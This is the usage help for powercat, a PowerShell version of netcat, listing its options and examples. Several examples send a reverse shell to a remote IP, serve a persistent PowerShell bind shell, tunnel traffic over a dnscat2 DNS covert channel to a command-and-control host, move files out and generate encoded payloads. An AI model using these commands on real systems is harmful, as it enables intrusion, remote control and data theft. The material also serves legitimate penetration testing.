powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat
This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.
Usage: powercat [-c or -l] [-p port] [options]
  -c  <ip>        Client Mode. Provide the IP of the system you wish to connect to.
                  If you are using -dns, specify the DNS Server to send queries to.
  -l              Listen Mode. Start a listener on the port specified by -p.
  -p  <port>      Port. The port to connect to, or the port to listen on.
  -e  <proc>      Execute. Specify the name of the process to start.
  -ep             Execute Powershell. Start a pseudo powershell session. You can
                  declare variables and execute commands, but if you try to enter
                  another shell (nslookup, netsh, cmd, etc.) the shell will hang.
  -r  <str>       Relay. Used for relaying network traffic between two nodes.
                  Client Relay Format:   -r <protocol>:<ip addr>:<port>
                  Listener Relay Format: -r <protocol>:<port>
                  DNSCat2 Relay Format:  -r dns:<dns server>:<dns port>:<domain>
  -u              UDP Mode. Send traffic over UDP. Because it's UDP, the client
                  must send data before the server can respond.
  -dns  <domain>  DNS Mode. Send traffic over the dnscat2 dns covert channel.
                  Specify the dns server to -c, the dns port to -p, and specify the
                  domain to this option, -dns. This is only a client.
                  Get the server here: https://github.com/iagox86/dnscat2
  -dnsft <int>    DNS Failure Threshold. This is how many bad packets the client can
                  recieve before exiting. Set to zero when receiving files, and set high
                  for more stability over the internet.
  -t  <int>       Timeout. The number of seconds to wait before giving up on listening or
                  connecting. Default: 60
  -i  <input>     Input. Provide data to be sent down the pipe as soon as a connection is
                  established. Used for moving files. You can provide the path to a file,
                  a byte array object, or a string. You can also pipe any of those into
                  powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
  -o  <type>      Output. Specify how powercat should return information to the console.
                  Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
  -of <path>      Output File.  Specify the path to a file to write output to.
  -d              Disconnect. powercat will disconnect after the connection is established
                  and the input from -i is sent. Used for scanning.
  -rep            Repeater. powercat will continually restart after it is
 disconnected.
                  Used for setting up a persistent server.
  -g              Generate Payload.  Returns a script as a string which will execute the
                  powercat with the options you have specified. -i, -d, and -rep will not
                  be incorporated.
  -ge             Generate Encoded Payload. Does the same as -g, but returns a string which
                  can be executed in this way: powershell -E <encoded string>
  -h              Print this help message.
Examples:
  Listen on port 8000 and print the output to the console.
      powercat -l -p 8000
  Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
      powercat -c 10.1.1.1 -p 443 -e cmd -v
  Connect to the dnscat2 server on c2.example.com, and send dns queries
  to the dns server on 10.1.1.1 port 53.
      powercat -c 10.1.1.1 -p 53 -dns c2.example.com
  Send a file to 10.1.1.15 port 8000.
      powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
  Write the data sent to the local listener on port 4444 to C:\outfile
      powercat -l -p 4444 -of C:\outfile
  Listen on port 8000 and repeatedly server a powershell shell.
      powercat -l -p 8000 -ep -rep
  Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
      powercat -l -p 8000 -r tcp:10.1.1.1:9000
  Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
  sending queries to 10.1.1.1 port 53.
      powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
